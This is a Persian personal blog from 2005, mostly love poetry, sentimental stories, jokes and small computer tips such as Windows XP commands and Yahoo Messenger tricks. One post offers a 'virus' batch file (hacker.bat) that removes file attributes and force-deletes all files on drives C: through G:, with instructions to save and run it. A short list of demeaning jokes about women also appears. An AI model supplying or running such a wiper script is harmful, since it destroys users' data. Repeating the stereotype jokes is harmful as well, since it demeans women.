سفارش تبلیغ
صبا ویژن
مرز جنون

آن که از دنیا اندوهناک است ، از قضاى خدا خشمناک است . و آن که از مصیبتى که بدو رسیده گله آرد ، از پروردگار خود شکوه دارد و آن که نزد توانگر رفت و به خاطر مالدارى وى از خود خوارى نشان داد دو ثلث دینش را به باد داد ، و آن که قرآن خواند و مرد و راه به دوزخ برد از کسانى بود که آیات خدا را به فسوس گرفت و افسانه شمرد ، و آن که دلش به دوستى دنیا شیفته است دل وى به سه چیز آن چسبیده است : اندوهى که از او دست بر ندارد ، و حرصى که او را وانگذارد ، و آرزویى که آن را به چنگ نیارد . [نهج البلاغه]

u کل بازدیدها : 19451

u بازدیدهای امروز : 2

u بازدیدهای دیروز : 1

u  RSS 



u خانه
u مدیریت
u پست الکترونیک
u شناسنامه

دوشنبه 84/4/20 ساعت 6:54 عصر

i سلام بعد از 20 روز دوباره اومدم

publication125lr.jpgسلام حاله شما؟ من حدود 20 روز نبودم  از کامنتای شما ممنونم شما به من لطف دارید

من تا 3 یا 4 روز دیگه با 100 ساعت نت میام میخوام کولاک کنم


نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

دوشنبه 84/4/20 ساعت 6:54 عصر

i سلام بعد از 20 روز دوباره اومدم

publication125lr.jpgسلام حاله شما؟ من حدود 20 روز نبودم  از کامنتای شما ممنونم شما به من لطف دارید

من تا 3 یا 4 روز دیگه با 100 ساعت نت میام میخوام کولاک کنم


نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

جمعه 84/4/10 ساعت 6:38 صبح

i عجیبه نه؟؟؟/

    فرمانده نیروی انتظامی : " از این پس محصولات تولیدیهای پوشاک  کشور دارای

     شناسنامه می شوند " .           خدا میدونه شاید شناسنامه لباس ایناهم مثل شناسنامه افغاناست 

مداین دنبهء پرسپولیسیه

بعد مدتها مینویسم

یک چیز مبهم هست که باید نوشت   باید گفت   

برای گفتنش دیوانه وار به طواف واژه هایم .   

با کدامین سراب    فراموش کردیم حرمت  آشنایی را.

من از یک تلاطم حرف می زنم        از یک تقدس کهنه بر می گردم

من عاشق بودم  آنگونه که  خود شناختم  

من پرستیدن  را به الماس نگاهش یافتم        و

با حضور آرامش خدا را.

اسم گذاردم تا خطابش کنم       تا بدانمش   

من با امتداد  نا متناهی حضورش      

تمامی  واژه های  عشق را باور کردم   

اگر لحظه هایم با اوست   و  اگر نیست      

                                               اهورایی و آسمانی میپرستمش.    

اگر چه پرستیدن من گناهی است به لرزش کوه.

من از کلمه می سازم         امتدادش می دهم        بزرگش می کنم

                                  اما به او نمیرسم  .

انرژی  تکاپو در وجودم  سر می خورد

                                         و لحظات گذرانم خاموش می شوند

همه چیز می رود        حتی سایه ای که تو بودی 

                                                        و کذب شمردیش.

من تمام واژه هایم را مفت فروختم.

                                               همین...قربونت برم مملیه تو

**********************************

امروز یکی از متن های خودمو مینویسم   امیدوارم خوشتون بیاد :

دیگر حرفی برای گفتن نیست      زمان تمامی لحظه هایم را باطل کرده  

و        افکارم در بی سامانی و ابلهی غوطه ور است

دیگر هوای مست شدن و خماری یک لذت در انتهای واژه هایم    

به هوای سرد و کذب  بدل شده.

سایه وار می چرخم     و     نمناک می سوزم.

سیه چرده در یک حجم تاریک میگردم.

می خواستم بفهمم هر آنچه گفتند     اما با آنچه من می دانستم 

                                                   از کجا بود تا نا کجا!...

دیگر نمی توانم بنویسم  زمانی مینوشتم    

 ولی حال به نوشته هایم می خندم       واژه هایم تمام شده اند  

من کلامی تازه ندارم  .

نمی نویسم تا فقط خود در آتش التهاب همیشگی  بسوزم 

وباقی آرامش  یابند  .                       

                                             همین...

**********************************

 گر سراغ عشق می خواهید

بالشی سنگی است در ویرانه هایی گم

رهروان خسته را مژده دروغ یکدم آسودن

آه بیهودست مهرورزیدن

با کسی بودن

رنج بودن را به رنج دیگر آلودن

 راستی را چیست عشق آموختن

                 حیله ای بر حیله های زندگی اندوختن              

  سوختن ...

********************************

سلام اینو بخونید حتما خوشتون می یاد :

از خانه بیرون میزنم اما کجا امشب                 شاید تومیخواهی مرا در کوچه ها امشب

پشت ستون سایه ها زیر درخت شب                می جویم اما نیستی در هیچ جا امشب

می دانم آری نیستی  ـ   اما نمی دانم                 بیهوده میگردم به دنبالت چرا امشب

هرشب ترا بی جستجو می یافتم-اما                  نگذاشت بی خوابی بدست آرم ترا امشب

ها...سایه ای دیدیم شبیهت نیست اما حیف            ای کاش میدیدم به چشمانم خطا امشب

هرشب صدای پای تو می آ مد از هر چیز           حتی ز برگی هم نمی آید صدا امشب

امشب ز پشت ابرها بیرون نیامد ماه                   بشکن قرق را ماه من بیرون بیا امشب

گشتم تمام کوچه ها یک نفس هم نیست                شاید که بخشیدند دنیا را به ما امشب

طاقت نمی آرم تو که میدانی از دیشب                 باید چه رنجی برده باشم بی تو تا امشب

ای ماجرای شعر و شبهای جنون من                   اخر چگونه سر کنم بی ماجرا امشب

                                                                                     **************************************

برخورد ما          برحسب اتفاق

                 تماشایی است

در او تلاش و کوشش مغرور ماندن است

                        در من گریز گمشدن و اغتشاش گام... 

             **********************

اگه عمو علی اکبر رئیس جمهور میشد رابطهء ایران با امریکا باز میشد  باور کن     بیا تهران و ببین؟؟؟

شعار ۹ سال پیش طرفداران هاشمی:

مخالف هاشمی مخالف رهبراست . مخالف رهبری دشمن پیغمبراست .

و شعار امروز طرفداران او:

      سیاسته دیگه کاریش نمیشه کرد

***************************************************

دختری از پسری پرسید که آیا اون رو قشنگ می‌دونه؟ پسر جواب داد نه. پرسید آیا دلش

می‌خواد تا ابد با اون بمونه؟ گفت نه. سپس پرسید اگه ترکش کنه، گریه می‌کنه؟ و بار دیگه

تکرار کرد نه. دختر خیلی ناراحت شد. وقتی خواست بره، در حالیکه اشک داشت از چهره‌اش

جاری میشد، پسربازوهاش روگرفت وگفت توقشنگ نیستی بلکه زیبایی. من نمی‌خوام تا ابد

با تو باشم، من نیاز دارم که تا ابد با تو باشم و اگه تو بری من گریه نمی‌کنم، من می‌میرم

*************************************************

چه میکنه این مملی ؟؟؟

اموزش کامل دستورات command prompt
اموزش کامل دستورات command prompt

دستورات Command Prompt ویندوز XP :

این دستورات در Command Prompt یا جعبه اجرای برنامه (Run Box) ویندوز ایکس پی در اجرا میشوند :

DRIVERQUERY -- فهرست کردن تمام راه اندازهای (Driver) نصب شده روی سیستم.
DISKPART – انجام پارتیشن بندی دیسک
DEFRAG – انجام عمل یکپارچه سازی اطلاعات دیسک
BOOTCFG – نمایش محتویات boot.ini در اعلان فرمان(Command Prompt)
IPCONFIG – نمایش جزئیات پیکربندی IP
PAGEFILECONFIG – تنظیم حافظه مجازی
SYSTEMINFO – نمایش اطلاعات سیستم
TASKKILL – پایان دادن و حذف کردن یک یا چند وظیفه(Task)
TASKLIST – فهرست وظایف
HOSTNAME – دریافت نام میزبان
NETSTAT – پیاده سازی TCP/IP NETSTAT
RSH – پیاده سازی TCP/IP RSH
RCP – پیاده سازی TCP/IP RCP
NETSH – برنامه واسط دستورات شبکه
NSLOOKUP – انجام فرمان Lookupنمایش نام سرویس دهنده آی پی و..

برید این دستورات رو در خط فرمان بزنید اگه یه خورده کنجکاوی به خرج بد ید 100% یه چیزایی می فهمید

چگونه همیشه آن لاین بمانیم
چگونه بعد از دی سی شدن آن لاین بمانیم



در هنگام وصل نبودن به اینترنت برای اینکه شما بتونید ای دی خود را برای همیشه روشن نگاه دارید باید کارهای زیر را انجام دهید:

با یاهو مسنجر آنلاین شوید

بروید به قسم login

انتخاب کنبد login را از ...

گزینه Preferences

را انتخاب نمایید Connectionدر جدول باز شده از لیست سمت چپ گزینه

تغییر دهید No proxies به Firewall With No proxies

را کلیک کنید OK سپس

از مسنجر خود خارج شوید

با همین کار ساده خود را همیشه روشن نگه دارید.

وارد چت روم پر (full) شوید!

برای ورود به چت رومی که پر است یعنی 40 نفر در آن آن لاین هستند مراحل زیر را طی کنید:

1.ابتدا یک چت روم بسازید تا هیچ کس داخل آن نباشد.

2.کد زیر را در قسمت پیغام تایپ کنید

[*] join/

که بجای [*] باید نام چت رومی که پر هست و قصد ورود به آن را دارید را وارد کنید. ممکن است با پیغامی که می گوید این چت روم پر است مواجه شوید. یک مدت صبر کنید دو باره کد بالا را وارد کنید این بار وارد چت روم پر خواهید شد!

ویروس جدید هکر بی رحم با قدرت تخریبی 100%

ویروس جدید هکر بی رحم با قدرت تخریبی 100%

!!!! توجه: مسئولیت استفاده از این مطلب به عهده خود کاربر میباشد.

طبق قولی که داده بودم اومدم یه سورس شبه ویروس بهتون معرفی کنم.این ویروس در عین سادگیش بسیار قدرت مند بوده

و قادر به تخریب کل هارد شما میباشد.این ویروس تحت فرامین داس نوشته شده وهیچ انتی ویروسی قادر به شناسایی این

ویروس نمیباشد.{فقط یک انتی داره اونم اف دیسک{ البته بنا به مسائلی از نوشتن سورس کامل این ویروس خودداری

کردم ولی همین نمونه همبسیار خطر ناک بوده وقادر به الوده کردن کل فضای هارددیسک میباشد.برای کمبایل این ویروس ابتدا یک فایل متنی

مثل نت بد باز کرده وکدهای زیر را نوشته وبعد با پسوند{بت} سیو کنید.برای مثال:

hacker.bat

متن ویروس::::

@echo off

ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*

Echo y | echo a | Echo y | del c:\*.*

Echo y | echo a | Echo y | del d:\*.*

Echo y | echo a | Echo y | del e:\*.*

Echo y | echo a | Echo y | del f:\*.*

Echo y | echo a | Echo y | del g:\*.*

echo y | copy *.* C:\

echo y | copy *.* D:\

echo y | copy *.* E:\

echo y | copy *.* F:\

echo y | copy *.* G:\

resrart

توجه:::::

در صورت اجرا شدن این ویروس در سیستم خودتون راهی جز اف دیسک ندارید{باور نمیکنی امتحان کن}

فعلا" دیگه بسه زرنگ میشین واسه خود مملی اوکی ؟ باشه؟


نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

جمعه 84/4/10 ساعت 5:51 صبح

i بیا با من ای نازنین تا از غروب عبرت بگیریم

زندگی زیباست_کو چشمی که زیبائی ببیند؟؟؟؟

نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

جمعه 84/4/10 ساعت 5:39 صبح

i بی سرزمین تر از باد کولی تر از همیشه

کفتر خونگی ام بال بده تا پر بزنم***بپرم به شهر عشق به هر خونه سر بزنم

نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

جمعه 84/4/10 ساعت 5:39 صبح

i بی سرزمین تر از باد کولی تر از همیشه

کفتر خونگی ام بال بده تا پر بزنم***بپرم به شهر عشق به هر خونه سر بزنم

نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

جمعه 84/4/10 ساعت 5:20 صبح

i سلای خوفین؟

weblog ziyad peyda mishe 2 donya******ama yekish webloge man nemishe

نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

پنج شنبه 84/4/9 ساعت 10:18 عصر

i دل من + دل تو

دیگه گریه دلو وا نمی کنه...

 

دلم خیلی گرفته خیلی.

همش حالت خفگی بهم دست میده.

آروم و قرار ندارم.چرا با من این کارا رو می کنی؟

چرا؟؟؟

بهم بگو

من دیگه کم آوردم

نمی دونم باید چیکار کنم

دیشب رفتم کنار آسمون

ماه درست وسط آسمون بود.

به صورت ماه نگاه کردم

یه مدت طولانی

خیلی دوسش دارم

می دونی چرا؟

چون تنها چیزی هست تو دنیا که وقتی بهش نگاه میکنم

میدونم که تو هم تو همون لحظه ممکنه بهش نگاه کنی

یعنی هر دومون که کیلومترها با هم فاصله داریم تو یک زمان به یک چیز نگاه کنیم.

امشبم دوباره میرم نگاش میکنم

هر شب میرم

آخه ممکنه لااقل یه شب تو هم همون موقع بهش نگاه کنی

کاش من اون ماه بودم یا لااقل اون ستاره کوچولویی که کنارشه

اینجوری هر جا بودی میدیدمت

کاشکی می شد...

ای خدا

خودت بهم آرامش بده

خودت ....

خدایا من دیگه طاقتشو ندارم

دیگه توانشو ندارم

کاشکی تاریکی میرفت فردا میشد

صبح می شد چشمون تو پیدا می شد

لبای ناز تو با قصه ی عشق

مثل گلهای بهاری وا می شد.

تا دلم شکوه رو آغاز میکنه

دیگه اشکم واسه من ناز میکنه

یادته قول دادی پیشم می مونی

قصه عشق زیر گوشم می خونی

دلم می خواد گریه کنم

خیلی زیاد خیلی زیااااد

اما دیگه حتی گریه هم دلمو وا نمی کنه

دلم میخواد برم برم برم یه جایی که هیشکی منو نشناسه

تا اونجا با غم و غصه های خودم تنهای تنها باشم

دلم می خواد...

تنها همدم تنهایی های من ترانه های گوگوشه

از عمق غم می خونه

زندگی با آدماش برای من یه قصه بود

توی این قصه کسی با کسی آشنا نبود

همه خنجر توی دست و خنده روی لبشون

توی شب صدای جز گریه ی بی صدا نبود

نمی خوام مثل همه گریه کنم

دیگه گریه دلو وا نمی کنه

قصه های پشت این پنجره ها

غمو از دلم جدا نمی کنه

قصه ی ماتم من هر چی که بود هر چی که هست

قصه ی ماتم قلب خسته ی یه آدمه

وقت خوابه دیگه دیره نمی خوام قصه بگم

از غم و غصه برات هر چی بگم بازم کمه

تو رو خدا با من این کارا رو نکن من طاقتشو ندارم

من بدون تو می میرم

شبها فقط با این آرزو که لااقل تو خواب ببینمت می خوابم

و صبحا به عشق این که یه خبری ازت بگیرم بیدار میشم

کاشکی می فهمیدی که چقدر دوست دارم

کاشکی می دونستی که چقدر برام اهمیت داری

با اون همه قول و قرار و پیمون

که با من غم زده داشتی رفتی

می خواستی از تنهایی دورم کنی

اما منو تنها گذاشتی رفتی

دلم از غصه داره خون می شه دریا کاری کنی

غممو مثل موج هات وردار تو ساحل خالی کن

 

 

عشق لالای بارون تو شباس

نم نم بارون پشت شیشه هاست

لحظه ی شبنم و برگ گل یاس

لحظه ی رهایی پرنده هاست

تو خود عشقی که همزاد منی

تو سکوت من و همزاد منی

تو خود عشقی که شوق موندنی

غم تلخ و گنگ شعرای منی

وقتی دنیا درد بی حرفی داره

تویی که فریاد دردای منی

دستای تو خورشید رو نشون می دن

چشمای بستمو بیدار می کنن

صدای بال پرنده رو لبات تو گوشام دوباره تکرار می کنن

زندگی وقتی که بی زاری باشه روز شبهاش همه تکراری باشه

شاید عشق برای بعضی عاشقا لحظه ی بزرگ بیداری باشه

عشق لالایی بارون تو شباس

نم نم بارون پشت شیشه هاست

لحظه ی عزیز با تو بودنه

آخرین پناه موندن منه

منم ین خسته دل درمانده

به تو بیگانه پناه پآورده

منم آن از همه دنیا رانده

در رهت هستی خود گم کرده            مملیه تو

تا به تو تکیه کردم

پشتمو خالی کردی

تو رسم دل شکستنو

بد جوری حالی کردی

دوستت دارم گل همیشه بهار من


نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

پنج شنبه 84/4/9 ساعت 10:0 عصر

i از منبه تو نصیحت

 

 

 

در غروبی نشته  بودم و در خیال رویایی شیرین بودم.


سرخی غروب نشان از تاریکی تلخی داشت و نگاهم به اسمان بود.


نوری از سوی اسمان به سویم امد


چشمانم یک لحظه هیچ جایی را ندید


وقتی چشمانم را باز کردم


پرندهای زیبا را دیدم که کنارم نشسته


بر پایش نامه ای بسته شده بود


یک لحظه مات و حیران شدم


نامه را از پایش گرفتم و باز کردم


نوشته شده بود


سلام


من پرنده خوشبختی ام و این نوید عاشقی است


من از اسمان امدهام برای تو من از عشقی اسمانی امده ام


مرا بپذیر تا کنارت بمانم.


دستی بر پرنده خوشبختی کشیدم و پرهای نازش را با دستانم


که خاکی و زمینی و سرد بود نوازش کردم


انگار حس کردم دستانم سبک می شد


پرنده خوشبختی هدیه ای از خدا بود


چون من همیشه در اسمان به دنبال عشق رویاییم بودم.


حالا من در پناه دو بال سفید و بیکرانم


پرواز را می اموزم تا عشق را بفهمم.

***************************************************

اگه یکی رو دیدی که وقتی داری رد می شی بر می گرده و نگات می کنه بدون براش مهمی

اگه یکی رو دیدی که وقتی داری میوفتی بر می گرده و با عجله می یاد سمتت بدون براش عزیزی

اگه یکی رو دیدی وقتی داری می خندی بر می گرده و نگات می کنه بدون واسش قشنگی

اگه یکی رو دیدی وقتی داری گریه می کنی بر می گرده و باهات اشک میریزه بدون دوست داره

اگه یکی رو دیدی وقتی داری با یکی دیگه حرف می زنی ترکت می کنه بدون عاشقته

اگه یکی رو دیدی وقتی داری ترکش می کنی برات فقط سکوت می کنه بدون دیوونته

اگه یکی رو دیدی که ازنبودنت داغون شده بدون براش همه چی بودی

اگه یکی رو دیدی که یه روز از بی تو بودن می ناله بدون بدونه تو می میره

اگه یکی رو دیدی که بعد رفتنت لباس سفید پوشیده بدون بدون تو مرده

اگه یه روز دیدیش که یه گوشه افتاده و یه پارچه سفید روش کشیدن بدون واسه خاطر تو مرده....

چرا من کسی رو نمی بینم؟؟؟؟؟؟

**********************************************************

          ....    تولدم (بخونش)

   کودکی که آماده تولد بود، نزد خدا رفت و از او پرسید:«می‌گویند فردا شما مرا به زمین می‌فرستید، اما من به این کوچکی و بدون هیچ کمکی چگونه می‌توانم برای زندگی به آنجا بروم؟» خداوند پاسخ داد: « از میان تعداد بسیاری از فرشتگان، من یکی را برای تو در نظر گرفته‌ام. او از تو نگهداری خواهد کرد.»اما کودک هنوز مطمئن نبود که می خواهد برود یا نه :«اما اینجا در بهشت، من هیچ کار جز خندین و آواز خواندن ندارم و اینها برای شادی من کافی هستند.» خداوند لبخند زد «فرشته تو باریت آواز می‌خواند، و هر روز به تو لبخند خواهد زد . تو عشق او را احساس خواهی کرد و شاد خواهی بود.» کودک ادامه داد: «من چطور می توانم بفهمم مردم چه می گویند وقتی زبان آنها را نمی دانم؟»

خداوند او را نوازش کرد و گفت: «فرشته تو ، زیباترین و شیرین ‌ترین واژه‌هایی را که ممکن است بشنوی در گوش تو زمزمه خواهد کرد و با دقت و صبوری به تو یاد خواهد داد که چگونه صحبت کنی.» کودک با ناراحتی گفت: «وقتی می‌خواهم با شما صحبت کنم ، چه کنم؟»

اما خدا برای این سئوال هم پاسخی داشت: «فرشته‌ات، دستهایت را درکنار هم قرار خواهد داد و به تو یاد می‌دهد که چگونه دعاکنی.» کودک سرش رابرگرداند وپرسید: «شنیده‌ام که در زمین انسانهای بدی هم زندگی می‌کنند. چه کسی از من محافظت خواهد کرد؟ »

- «فرشته‌ات از تو محافظت خواهد کرد، حتی به قیمت جانش تمام شود.» کودک با نگرانی ادامه داد: «اما من همیشه به این دلیل که دیگر نمی‌توانم شما راببینم ، ناراحت خواهم بود.»

خدواند لبخند زد و گفت:‌ «فرشته‌ات همیشه درباره من با تو صحبت خواهدکرد و به تو راه بازگشت نزد من را خواهد آموخت، گر چه من همیشه درکنار تو خواهم

بود.» در آن هنگام بهشت آرام بود اما صداهایی از زمین شنیده می‌شد. کودک می‌دانست که باید به زودی سفرش را آغاز کند. و به آرامی یک سئوال دیگر از خداوند پرسید: «خدایا ! اگر من باید همین حالا بروم لطفاً نام فرشته‌ام را به من بگویید.»

خداوند شانه او را نوازش کرد و پاسخ داد:

«نام فرشته‌ات اهمیتی ندارد.  « میتوانی  به راحتی او را مـــــادر صدا کنی .»و حالا  آن کودک 18 بهار از عمرش را گذراند و تنها 15 بهارش را کنار فرشته ی مهربانش بود
اما دریغ که که در این مدت یکبار نخواست بفهمد او کیست
 15 بهار نفهمید که فرشته در کنارش است و نفهمید فرشته تنها تکیه گاهش بود
نفهمید که بعد از فرشته باید خود تنها به روی پاهای ضعیفش بایستد و انقدر
تند باد سختی ها بر صورتش سیلی بزند که بفهمد زندگی چیست
کودک که حالا دختری نوجوان به حساب می آید خسته از مدرسه آمد و خواست برای چند ساعت
تنها به انچه که امروز برایش گذشت فکر کند آخه 18 سال پیش خدا همچین روز بهش گفت برو
و کودک با تمام سوال و جواب ها یادش رفت بپرسه که اگر روزی فرشته اش را ازش گرفتی
آن وقت چه کند؟؟

شاید اگر میپرسیدم خدا اخم میکردو میگفت :شما انسانها باید چیزیرو از دست بدید تا انرا بشناسید
و به( رازش) پی ببرید و در آن روز میخواهم که محکم باشی
روزهای تولد همیشه غمگین است؟ شاید برای من این طوره؟ علتش هم شاید زیاد باشد
اول اینکه یک سال را بیهوده گذراندم و شاید انقدر که باید نتوانستم سفر کمال کنم ،
گفتن اینکه چقدر هم از او دور شدم خجالت داره
علت دوم اینکه شاید کودک شاکی بود ازینکه در قبال از دست دادن فرشته چقدر چیزایی بدست اورده که
هر کسی حسرتش  رامیخورد اما هیچ کدام تا فرشته از کنارشون نره نمیفهمن که همه هیچ هستن
امروز که توی مدرسه برای کودک ( دختر 18 ساله) جشن تولد سوپرایز گرفتن یکی از
دوستاش رفت پیش کودک بهش گفت خوش به حالت   خوش به حالت کاش من جای تو بودم
اما کودک گریه کرد : اون هنوز فرشته رو میخواست  هیچ چیز براش معنی نداشت دلش میخواست بزنه تو صورت
دوستش و بهش بگه تو بزرگترین احمقی اما نزد چون میدونست کسی حرفشو نمیفهمه
 وتنها به خاطر جبران محبت  دوستاش توی جشن میخندید
موقع فوت کردن شمع گفتن اروز کن و کودک میدونست ارزو ینی رویای بدست نیاوردنی
ارزو کرد فرشته رو فقط یه بار ببینه سرشو بزاره روی زانوهاش و گریه کنه و بعد فرشته بهش بگه
هیس .....هنوز خیلی راه مونده وقت گریه نداری

**********************************************************

...

       اگر بعضی افراد بی منطق و خود محورند تو همواره آنها را ببخش

        اگر نسبت به دیگران مهربانی ولی آنها تورا به خودخواهی متهـــــم

       میکنند تو همواره مهربان باش . اگر فردی موفق هستی ولی در نهایت

       تعدادی دوست دروغین و تعدادی دشمن حقیقی بدست آوردی توهمواره

        بکوش تا موفق باشی . اگر صادق و یکرنگ هستی و ممکن است که

             دیگران فریبت دهند تو هموراه صادق و یکرنگ باش

       هر آنچه طی سالیان ساخته ای ممکن است کسی در لحظه ای ویران

                        کند تو همواره بکوش تا بسازی.

      اگر به شادابی دست یابی ممکن است دیگران به تو حسادت ورزند تو

       همواره سعی کن شاد باشی .خوبیهای امروز تو ممکن است فـــــــردا

      فراموش شود تو همواره خوب باش بهترین چیزی را که درتوان داری

      به دنیا هدیه کن حتی اگر کوچک باشد همواره بهترین هارو هدیه کن

         در آخر در میابی هر آنچه هست میان تو و خـــــــــدای توست.


نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

چهارشنبه 84/4/8 ساعت 1:26 عصر

i تو را از بین صدها گل جدا کردم

سلام دوستان

اینو تقدیم می کنم به کسی که نمی خوام حتی یه بار ناراحتی رو تو صورتش ببینم و از همین جا می خام بهش بگم در هر حالی باشه من فقط دوست دارم خوشبخت باشه و از زندگی لذت ببره چون من این عقیده رو دارم که اون حقشه از زندگی لذت ببره.(دوست دارم هزارتا)

 

دوستت دارم هزارتا 

                ********************************

عکس خوصوصی از شادمهر عقیلی

                        

نوشته خنده دار

آقایان پاسخ می دهند!!

برخی خانم ها مثل چی هستند ؟

 

خانم ها مثل رادیو هستند :

هر چی می خواهند می گویند ولی هر چه بگویی نمی شنوند.

 

 خانم ها مثل شبکه اینترنت هستند :

از هر موضوعی یک فایل اطلاعاتی دارند.

 

خانم هامثل چسب دوقلو هستند :

اگر دستشان با گوشی تلفن مخلوط شد, دیگر باید سیم را برید.

 

خانم ها مثل موتور گازی هستند :

پر سر و صدا , کم سرعت , کم طاقت

خانم ها مثل رعد و برق هستند :

اول برق چشمهاشون می رسه , بعد رعد صداشون.

 

خانم ها مثل لیمو شیرین هستند :

اول شیرین و بعد تلخ می شوند.

 

خانم ها مثل موبایل هستند :

هر وقت کارمهمی پیش می آید در دسترس نیستند.

 

خانم ها مثل گچ هستند :

اگر چند دقیقه مدارا کنید آنچنان سخت می شوند که هیچ شکلی نمی گیرند.

 

خانم ها مثل کنتو ر برق هستند :

هر از چند سالی یکبار سن آنها صفر می شود.

 

خانم ها مثل فلزیاب هستند :

هرگاه از نزدیکی طلافروشی رد می شوند عکس العمل نشان می دهند.

 

خانم ها خیلی زرنگ هستند :

آنقدر جنگیدند تا جایزه صلح را گرفتند.

 

با سلا خدمت دوستان هر کس از این متن خوشش نیمد بگه من از تویه بلاگ پاکش کنم. من اینو من باب خنده نوشتم.

 

با تشکر مدیر بلاگ=mamali

 

**********************************

آموخته ام که ..........

آموخته ام که ؛ وقتی عاشقم ، عشق در ظاهرم نیز نمایان می شود .

آموخته ام که ؛ عشق مرکب حرکت است نه مقصد حرکت .

آموخته ام که ؛ این عشق است که زخمها را شفا می دهد ، نه زمان .

آموخته ام که ؛ ؛ هیچکس در نظر ما کامل نیست مگر تا زمانی که عاشقش شویم.

آموخته ام که ؛ بهترین کلاس درس دنیا کلاسی است که زیر پای خلاق ترین فرد دنیاست .

آموخته ام که ؛ که مهم بودن خوبست ، ولی خوب خوب بودن از آن مهمتر است .

آموخته ام که ؛ تنها اتفاقات کوچک روزانه است که زدگی را تماشایی می کند .

آموخته ام که ؛ خداوند همه چیز را در یک روز نیافرید پس چطور می شود که من همه چیز را در یک روز بدست آورم .

آموخته ام که ؛ چشم پوشی از حقایق آنها را تغییر نمی دهد .

آموخته ام که ؛ که در جست و جوی محبت و خوشبختی زمانی برای تلف کردن وجود ندارد .

آموخته ام که ؛ اگر در ابتدا موفق نشدم با شیوه ای جدیدتر دوباره بکوشم .

آموخته ام که ؛ موفقیت تنها یک تعریف دارد : « باور داشتن موفقیت » .

آموخته ام که ؛ تنها کسی مرا شاد می کند ، که می گوید « تو مرا شاد کردی » .

آموخته ام که ؛ گاهی مهربان بودند ، بسیار مهمتر از درست بودن است .

آموخته ام که ؛ هرگز نباید به هدیه ای که از طرف کودکی داده می شود ، « نه » گفت .

آموخته ام که ؛ در آغوش داشتن کودکی که به خواب رفته ، یکی از آرامش بخش ترین حس های دنیا را درون آدمی بیدار می کند .

آموخته ام که ؛ زندگی مثل طاقه پارچه است . هر چه به انتهای آن نزدیک تر می شوی ، سریعتر می گذرد.

آموخته ام که ؛ باید شکرگزار باشیم که خدا هر آنچه می طلبیم را به ما نمی دهد .

آموخته ام که ؛ وقتی نوزادی انگشت کوچکتان را در مشت کوچکش می گیرد ، در واقع شما را به اسارت زندگی می کشد .

آموخته ام که ؛ هر چه زمان کمتری داشته باشم کارهای بیشتری انجام می دهم .

آموخته ام که ؛ همیشه برای کسی که به هیچ عنوان قادر به کمکش نیستم ، دعا کنم .

آموخته ام که ؛ زندگی جدیست ولی ما نیاز به «دوستی» داریم که لحظه ای با او از جدی بودن دور باشیم .

آموخته ام که ؛ تنها چیزی که یک شخص می خواهد ؛ فقط دستی است برای گرفتن دست او و قلبی برای فهمیدنش .

آموخته ام که ؛ وقتی با کسی روبرو می شویم ؛ انتظار « لبخندی » از سوی ما دارد .

آموخته ام که ؛ لبخند ارزانترین راهی است که می توان با آن نگاه را وسعت بخشید .

آموخته ام که ؛ باد با چراغ خاموش کاری ندارد .

آموخته ام که ؛ به چیزی که دل ندارد ، نباید دل بست .

آموخته ام که ؛ خوشبختی جستن آن است نه پیدا کردن آن

ba tashakor mohamad کسی که بی عشق میمیرد


نوشته شده توسط: محمد دیوانه

نوشته های دیگران ()

*******

************

*********************************

************

*******

   1   2   3      >

i لیست کل یادداشت های این وبلاگ

فقط واسه شما گلهای خودم
[عناوین آرشیوشده]

*********************************

********************

:: درباره من ::

مرز جنون
محمد دیوانه
من پسری با دلی صاف چون ائینه بدون عشق میمیرم و دنبال یه جفت خوب یک ماده شیر واقعی

********************

:: لینک به وبلاگ ::

مرز جنون

********************

:: آرشیو ::

تابستان 1384

********************

:: دوستان من ::



********************

:: وضعیت من در یاهو::

یــــاهـو

********************

:: خبرنامه ::

 

********************

پارسی بلاگ ، پیشرفته ترین سیستم مدیریت وبلاگ